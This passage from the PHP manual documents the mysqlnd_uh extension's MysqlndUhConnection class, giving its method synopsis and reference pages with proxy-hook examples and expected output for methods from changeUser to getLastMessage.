Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_UH_VERSION_ID | 10000

MYSQLND_UH_VERSION (string)
Plugin version string, for example, "1.0.0-alpha".
MYSQLND_UH_VERSION_ID (integer)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
MysqlndUhConnection
mysqlnd_uh


The MysqlndUhConnection class

(No version information available, might only be in SVN)

Introduction

Class synopsis

MysqlndUhConnection {
/* Methods */
public bool changeUser ( mysqlnd_onnection $connection , string $user , string $password , string $database , bool $silent , int $passwd_len )
public string charsetName ( mysqlnd_connection $connection )
public bool close ( mysqlnd_connection $connection , int $close_type )
public bool connect ( mysqlnd_connection $connection , string $host , string $use" , string $password , string $database , int $port , string $socket , int $mysql_flags )
public __construct ( void )
public bool endPSession ( mysqlnd_connection $connection )
public string escapeString ( mysqlnd_connection $connection , string $escape_string )
public int getAffectedRows ( mysqlnd_connection $connection )
public int getErrorNumber ( mysqlnd_connection $connection )
public string getErrorString ( mysqlnd_connection $connection )
public int getFieldCount ( mysqlnd_connection $connection )
public string getHostInformation ( mysqlnd_connection $connection )
public int getLastInsertId ( mysqlnd_connection $connection )
public void getLastMessage ( mysqlnd_connection $connection )
public string getProtocolInformation ( mysqlnd_connection $connection )
public string getServerInformation ( mysqlnd_connection $connection )
public string getServerStatistics ( mysqlnd_connection $connection )
public int getServerVersion ( mysqlnd_connection $connection )
public string getSqlstate ( mysqlnd_connection $connection )
public array getStatistics ( mysqlnd_connection $connection )
public int getThreadId ( mysqlnd_connection $connection )
public int getWarningCount ( mysqlnd_connection $connection )
public bool init ( mysqlnd_connection $connection )
public bool killConnection ( mysqlnd_connection $connection , int $pid )
public array listFields ( mysqlnd_connection $connection , string $table , string $achtung_wild )
public void listMethod ( mysqlnd_connection $connection , string $query , string $achtung_wild , string $par1 )
public bool moreResults ( mysqlnd_connection $connection )
public bool nextResult ( mysqlnd_connection $connection )
public bool ping ( mysqlnd_connection $connection )
public bool query ( mysqlnd_connection $connection , string $query )
public bool queryReadResultsetHeader ( mysqlnd_connection $connection , mysqlnd_statement $mysqlnd_stmt )
public bool reapQuery ( mysqlnd_connection $connection )
public bool refreshServer ( mysqlnd_connection $connection , int $options )
public bool restartPSession ( mysqlnd_connection $connection )
public bool selectDb ( mysqlnd_connection $connection , string $database )
public bool sendClose ( mysqlnd_connection $connection )
public bool sendQuery ( mysqlnd_connection $connection , string $query )
public bool serverDumpDebugInformation ( mysqlnd_connection $connection )
public bool setAutocommit ( mysqlnd_connection $connection , int $mode )
public bool setCharset ( mysqlnd_connection $connection , string $charset )
public bool setClientOption ( mysqlnd_connection $connection , int $option , int $value )
public void setServerOption ( mysqlnd_connection $connection , int $option )
public void shutdownServer ( string $MYSQLND_UH_RES_MYSQLND_NAME , string $"level" )
public bool simpleCommand ( mysqlnd_connection $connection , int $command , string $arg , int $ok_packet , bool $silent , bool $ignore_upsert_status )
public bool simpleCommandHandleResponse ( mysqlnd_connection $connection , int $ok_packet , bool $silent , int $command , bool $ignore_upsert_status )
public bool sslSet ( mysqlnd_connection $connection , string $key , string $cert , string $ca , string $capath , string $cipher )
public resource stmtInit ( mysqlnd_connection $connection )
public resource storeResult ( mysqlnd_connection $connection )
public bool txCommit ( mysqlnd_connection $connection )
public bool txRollback ( mysqlnd_connection $connection )
public resource useResult ( mysqlnd_connection $connection )
}

Table of Contents

  • MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection
  • MysqlndUhConnection::charsetName — Returns the default character set for the database connection
  • MysqlndUhConnection::close — Closes a previously opened database connection
  • MysqlndUhConnection::connect — Open a new connection to the MySQL server
  • MysqlndUhConnection::__construct — The __construct purpose
  • MysqlndUhConnection::endPSession — End a persistent connection
  • MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation
  • MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call
  • MysqlndUhConnection::getErrorString — Returns a string description of the last error
  • MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query
  • MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used
  • MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query.
  • MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query
  • MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used
  • MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server
  • MysqlndUhConnection::getServerStatistics — Gets the current system status
  • MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer
  • MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation
  • MysqlndUhConnection::getStatistics — Returns statistics about the client connection.
  • MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection
  • MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link
  • MysqlndUhConnection::init — Initialize mysqlnd connection
  • MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread
  • MysqlndUhConnection::listFields — List MySQL table fields
  • MysqlndUhConnection::listMethod — Wrapper for assorted list commands
  • MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query
  • MysqlndUhConnection::nextResult — Prepare next result from multi_query
  • MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • MysqlndUhConnection::query — Performs a query on the database
  • MysqlndUhConnection::queryReadResultsetHeader — Read a result set header
  • MysqlndUhConnection::reapQuery — Get result from async query
  • MysqlndUhConnection::refreshServer — Flush or reset tables and caches
  • MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection
  • MysqlndUhConnection::selectDb — Selects the default database for database queries
  • MysqlndUhConnection::sendClose — Sends a close command to MySQL
  • MysqlndUhConnection::sendQuery — Sends a query to MySQL
  • MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server
  • MysqlndUhConnection::setAutocommit — Turns on or off auto-commiting database modifications
  • MysqlndUhConnection::setCharset — Sets the default client character set
  • MysqlndUhConnection::setClientOption — Sets a client option
  • MysqlndUhConnection::setServerOption — Sets a server option
  • MysqlndUhConnection::shutdownServer — The shutdownServer purpose
  • MysqlndUhConnection::simpleCommand — Sends a basic COM_* command
  • MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client
  • MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL
  • MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare
  • MysqlndUhConnection::storeResult — Transfers a result set from the last query
  • MysqlndUhConnection::txCommit — Commits the current transaction
  • MysqlndUhConnection::txRollback — Rolls back current transaction
  • MysqlndUhConnection::useResult — Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
MysqlndUhConnection::changeUser
mysqlnd_uh


Changes the user of the specified mysqlnd database connection

MysqlndUhConnection
MysqlndUhConnection::charsetName
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::changeUser

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection

Description

public bool MysqlndUhConnection::changeUser ( mysqlnd_onnection $connection , string $user , string $password , string $database , bool $silent , int $passwd_len )

Changes the user of the specified mysqlnd database connection

Parameters

connection

Mysqlnd connection handle. Do not modify!

user

The MySQL user name.

password

The MySQL password.

database

The MySQL database to change to.

silent

Controls if mysqlnd is allowed to emit errors or not.

passwd_len

Length of the MySQL password.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::changeUser() example

<?php
class proxy extends MysqlndUhConnection {
 /* Hook mysqlnd's connection::change_user call */
 public function changeUser($res, $user, $passwd, $db, $silent, $passwd_len) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::changeUser($res, $user, $passwd, $db, $silent, $passwd_len);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
/* Install proxy/hooks to be used with all future mysqlnd connection */
mysqlnd_uh_set_connection_proxy(new proxy());

/* Create mysqli connection which is using the mysqlnd library */
$mysqli = new mysqli("localhost", "root", "", "test");

/* Example of a user API call which triggers the hooked mysqlnd call */
var_dump($mysqli->change_user("root", "bar", "test"));
?>

The above example will output:

proxy::changeUser(array (
  0 => NULL,
  1 => 'root',
  2 => 'bar',
  3 => 'test',
  4 => false,
  5 => 3,
))
proxy::changeUser returns false
bool(false)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_change_user() - Changes the user of the specified database connection

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection
MysqlndUhConnection::charsetName
MysqlndUhConnection


Returns the default character set for the database connection

MysqlndUhConnection::changeUser
MysqlndUhConnection::close
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::charsetName

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::charsetName — Returns the default character set for the database connection

Description

public string MysqlndUhConnection::charsetName ( mysqlnd_connection $connection )

Returns the default character set for the database connection.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The default cahracter set.

Examples

Example #1 MysqlndUhConnection::charsetName() example

<?php
class proxy extends MysqlndUhConnection {
  public function charsetName($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::charsetName($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump(mysqli_character_set_name($mysqli));
?>

The above example will output:

proxy::charsetName(array (
  0 => NULL,
))
proxy::charsetName returns 'latin1'
string(6) "latin1"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_character_set_name() - Returns the default character set for the database connection

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::changeUser
MysqlndUhConnection::close
MysqlndUhConnection


Closes a previously opened database connection

MysqlndUhConnection::charsetName
MysqlndUhConnection::connect
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::close

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::close — Closes a previously opened database connection

Description

public bool MysqlndUhConnection::close ( mysqlnd_connection $connection , int $close_type )

Closes a previously opened database connection.

Note:

Failing to call the parent implementation may cause memory leaks or crash PHP. This is not considered a bug. Please, keep in mind that the mysqlnd library functions have never been designed to be exposed to the user space.

Parameters

connection

The connection to be closed. Do not modify!

close_type

Why the connection is to be closed. The value of close_type is one of MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT, MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT, MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED or MYSQLND_UH_MYSQLND_CLOSE_LAST. The latter should never be seen, unless the default behaviour of the mysqlnd library has been changed by a plugin.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::close() example

<?php
function close_type_to_string($close_type) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED => "MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED",
  MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT => "MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT",
  MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT => "MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT",
  MYSQLND_UH_MYSQLND_CLOSE_LAST => "MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT"
 );
 return (isset($mapping[$close_type])) ? $mapping[$close_type] : 'unknown';
}

class proxy extends MysqlndUhConnection {
  public function close($res, $close_type) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   printf("close_type = %s\n", close_type_to_string($close_type));
   /* WARNING: you must call the parent */
   $ret = parent::close($res, $close_type);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->close();
?>

The above example will output:

proxy::close(array (
  0 => NULL,
  1 => 0,
))
close_type = MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT
proxy::close returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_close() - Closes a previously opened database connection
  • mysql_close() - Close MySQL connection

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::charsetName
MysqlndUhConnection::connect
MysqlndUhConnection


Open a new connection to the MySQL server

MysqlndUhConnection::close
MysqlndUhConnection::__construct
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::connect

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::connect — Open a new connection to the MySQL server

Description

public bool MysqlndUhConnection::connect ( mysqlnd_connection $connection , string $host , string $use" , string $password , string $database , int $port , string $socket , int $mysql_flags )

Open a new connection to the MySQL server.

Parameters

connection

Mysqlnd connection handle. Do not modify!

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

user

The MySQL user name.

password

If not provided or NULL, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

database

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used. If NULL, mysqlnd will default to /tmp/mysql.sock.

mysql_flags

Connection options.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::connect() example

<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::connect(array (
  0 => NULL,
  1 => 'localhost',
  2 => 'root',
  3 => '',
  4 => 'test',
  5 => 3306,
  6 => NULL,
  7 => 131072,
))
proxy::connect returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_connect() - Alias of mysqli::__construct
  • mysql_connect() - Open a connection to a MySQL Server

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::close
MysqlndUhConnection::__construct
MysqlndUhConnection


The __construct purpose

MysqlndUhConnection::connect
MysqlndUhConnection::endPSession
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::__construct

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::__construct — The __construct purpose

Description

public MysqlndUhConnection::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::connect
MysqlndUhConnection::endPSession
MysqlndUhConnection


End a persistent connection

MysqlndUhConnection::__construct
MysqlndUhConnection::escapeString
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::endPSession

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::endPSession — End a persistent connection

Description

public bool MysqlndUhConnection::endPSession ( mysqlnd_connection $connection )

End a persistent connection

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::endPSession() example

<?php
class proxy extends MysqlndUhConnection {
 public function endPSession($conn) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::endPSession($conn);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("p:localhost", "root", "", "test");
$mysqli->close();
?>

The above example will output:

proxy::endPSession(array (
  0 => NULL,
))
proxy::endPSession returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::__construct
MysqlndUhConnection::escapeString
MysqlndUhConnection


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

MysqlndUhConnection::endPSession
MysqlndUhConnection::getAffectedRows
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::escapeString

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

Description

public string MysqlndUhConnection::escapeString ( mysqlnd_connection $connection , string $escape_string )

Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection.

Parameters

MYSQLND_UH_RES_MYSQLND_NAME

Mysqlnd connection handle. Do not modify!

escape_string

The string to be escaped.

Return Values

The escaped string.

Examples

Example #1 MysqlndUhConnection::escapeString() example

<?php
class proxy extends MysqlndUhConnection {
 public function escapeString($res, $string) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::escapeString($res, $string);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->set_charset("latin1");
$mysqli->real_escape_string("test0'test");
?>

The above example will output:

proxy::escapeString(array (
  0 => NULL,
  1 => 'test0\'test',
))
proxy::escapeString returns 'test0\\\'test'

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::endPSession
MysqlndUhConnection::getAffectedRows
MysqlndUhConnection


Gets the number of affected rows in a previous MySQL operation

MysqlndUhConnection::escapeString
MysqlndUhConnection::getErrorNumber
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getAffectedRows

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation

Description

public int MysqlndUhConnection::getAffectedRows ( mysqlnd_connection $connection )

Gets the number of affected rows in a previous MySQL operation.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Number of affected rows.

Examples

Example #1 MysqlndUhConnection::getAffectedRows() example

<?php
class proxy extends MysqlndUhConnection {
 public function getAffectedRows($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getAffectedRows($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");
var_dump($mysqli->affected_rows);
?>

The above example will output:

proxy::getAffectedRows(array (
  0 => NULL,
))
proxy::getAffectedRows returns 1
int(1)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysql_affected_rows() - Get number of affected rows in previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::escapeString
MysqlndUhConnection::getErrorNumber
MysqlndUhConnection


Returns the error code for the most recent function call

MysqlndUhConnection::getAffectedRows
MysqlndUhConnection::getErrorString
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getErrorNumber

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call

Description

public int MysqlndUhConnection::getErrorNumber ( mysqlnd_connection $connection )

Returns the error code for the most recent function call.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Error code for the most recent function call.

Examples

MysqlndUhConnection::getErrorNumber() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

Example #1 MysqlndUhConnection::getErrorNumber() example

<?php
class proxy extends MysqlndUhConnection {
 public function getErrorNumber($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getErrorNumber($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

printf("connect...\n");
$mysqli = new mysqli("localhost", "root", "", "test");
printf("query...\n");
$mysqli->query("PLEASE_LET_THIS_BE_INVALID_SQL");
printf("errno...\n");
var_dump($mysqli->errno);
printf("close...\n");
$mysqli->close();
?>

The above example will output:

connect...
proxy::getErrorNumber(array (
  0 => NULL,
))
proxy::getErrorNumber returns 0
query...
errno...
proxy::getErrorNumber(array (
  0 => NULL,
))
proxy::getErrorNumber returns 1064
int(1064)
close...

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • MysqlndUhConnection::getErrorString() - Returns a string description of the last error
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysql_errno() - Returns the numerical value of the error message from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getAffectedRows
MysqlndUhConnection::getErrorString
MysqlndUhConnection


Returns a string description of the last error

MysqlndUhConnection::getErrorNumber
MysqlndUhConnection::getFieldCount
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getErrorString

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getErrorString — Returns a string description of the last error

Description

public string MysqlndUhConnection::getErrorString ( mysqlnd_connection $connection )

Returns a string description of the last error.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Error string for the most recent function call.

Examples

MysqlndUhConnection::getErrorString() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

Example #1 MysqlndUhConnection::getErrorString() example

<?php
class proxy extends MysqlndUhConnection {
 public function getErrorString($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getErrorString($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

printf("connect...\n");
$mysqli = new mysqli("localhost", "root", "", "test");
printf("query...\n");
$mysqli->query("WILL_I_EVER_LEARN_SQL?");
printf("errno...\n");
var_dump($mysqli->error);
printf("close...\n");
$mysqli->close();
?>

The above example will output:

connect...
proxy::getErrorString(array (
  0 => NULL,
))
proxy::getErrorString returns ''
query...
errno...
proxy::getErrorString(array (
  0 => NULL,
))
proxy::getErrorString returns 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'WILL_I_EVER_LEARN_SQL?\' at line 1'
string(168) "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WILL_I_EVER_LEARN_SQL?' at line 1"
close...

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • MysqlndUhConnection::getErrorNumber() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysql_error() - Returns the text of the error message from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getErrorNumber
MysqlndUhConnection::getFieldCount
MysqlndUhConnection


Returns the number of columns for the most recent query

MysqlndUhConnection::getErrorString
MysqlndUhConnection::getHostInformation
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getFieldCount

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query

Description

public int MysqlndUhConnection::getFieldCount ( mysqlnd_connection $connection )

Returns the number of columns for the most recent query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Number of columns.

Examples

MysqlndUhConnection::getFieldCount() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

Example #1 MysqlndUhConnection::getFieldCount() example

<?php
class proxy extends MysqlndUhConnection {
 public function getFieldCount($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getFieldCount($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("WILL_I_EVER_LEARN_SQL?");
var_dump($mysqli->field_count);
$mysqli->query("SELECT 1, 2, 3 FROM DUAL");
var_dump($mysqli->field_count);
?>

The above example will output:

proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 0
int(0)
proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 3
proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 3
int(3)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_field_count() - Returns the number of columns for the most recent query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getErrorString
MysqlndUhConnection::getHostInformation
MysqlndUhConnection


Returns a string representing the type of connection used

MysqlndUhConnection::getFieldCount
MysqlndUhConnection::getLastInsertId
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getHostInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used

Description

public string MysqlndUhConnection::getHostInformation ( mysqlnd_connection $connection )

Returns a string representing the type of connection used.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Connection description.

Examples

Example #1 MysqlndUhConnection::getHostInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getHostInformation($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getHostInformation($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->host_info);
?>

The above example will output:

proxy::getHostInformation(array (
  0 => NULL,
))
proxy::getHostInformation returns 'Localhost via UNIX socket'
string(25) "Localhost via UNIX socket"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_host_info() - Returns a string representing the type of connection used
  • mysql_get_host_info() - Get MySQL host info

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getFieldCount
MysqlndUhConnection::getLastInsertId
MysqlndUhConnection


Returns the auto generated id used in the last query.

MysqlndUhConnection::getHostInformation
MysqlndUhConnection::getLastMessage
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getLastInsertId

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query.

Description

public int MysqlndUhConnection::getLastInsertId ( mysqlnd_connection $connection )

Returns the auto generated id used in the last query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Last insert id.

Examples

Example #1 MysqlndUhConnection::getLastInsertId() example

<?php
class proxy extends MysqlndUhConnection {
 public function getLastInsertId($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getLastInsertId($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT AUTO_INCREMENT PRIMARY KEY, col VARCHAR(255))");
$mysqli->query("INSERT INTO test(col) VALUES ('a')");
var_dump($mysqli->insert_id);
?>

The above example will output:

proxy::getLastInsertId(array (
  0 => NULL,
))
proxy::getLastInsertId returns 1
int(1)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_insert_id() - Returns the auto generated id used in the last query
  • mysql_insert_id() - Get the ID generated in the last query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getHostInformation
MysqlndUhConnection::getLastMessage
MysqlndUhConnection


Retrieves information about the most recently executed query

MysqlndUhConnection::getLastInsertId
MysqlndUhConnection::getProtocolInformation
MysqlndUhConnection
PHP Manual

MysqlndUhConnection::getLastMessage

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query

Description

public void MysqlndUhConnection::getLastMessage ( mysqlnd_connection $connection )

Retrieves information about the most recently executed query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Last message. Trying to return a string longer than 511 bytes will cause an error of the type E_WARNING and result in the string being truncated.

Examples

Example #1 MysqlndUhConnection::getLastMessage() example

<?php
class proxy extends MysqlndUhConnection {
 public function getLastMessage($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getLastMessage($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->info);
$mysqli->query("DROP TABLE IF EXISTS test");
var_dump($mysqli->info);
?>

The above example will output:

proxy::getLastMessage(array (
  0 => NULL,
))
proxy::getLastMessage returns ''
string(0) ""
proxy::getLastMessage(array (
  0 => NULL,
))
proxy::getLastMessage returns ''
string(0) ""

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_info() - Retrieves information about the most recently executed query
  • mysql_info() - Get information about the most recent query

User Contributed Notes

There are no user contributed notes for this page.
MysqlndUhConnection::getLastInsertId
MysqlndUhConnection::getProtocolInformation
MysqlndUhConnection


Returns the version of the MySQL protocol used

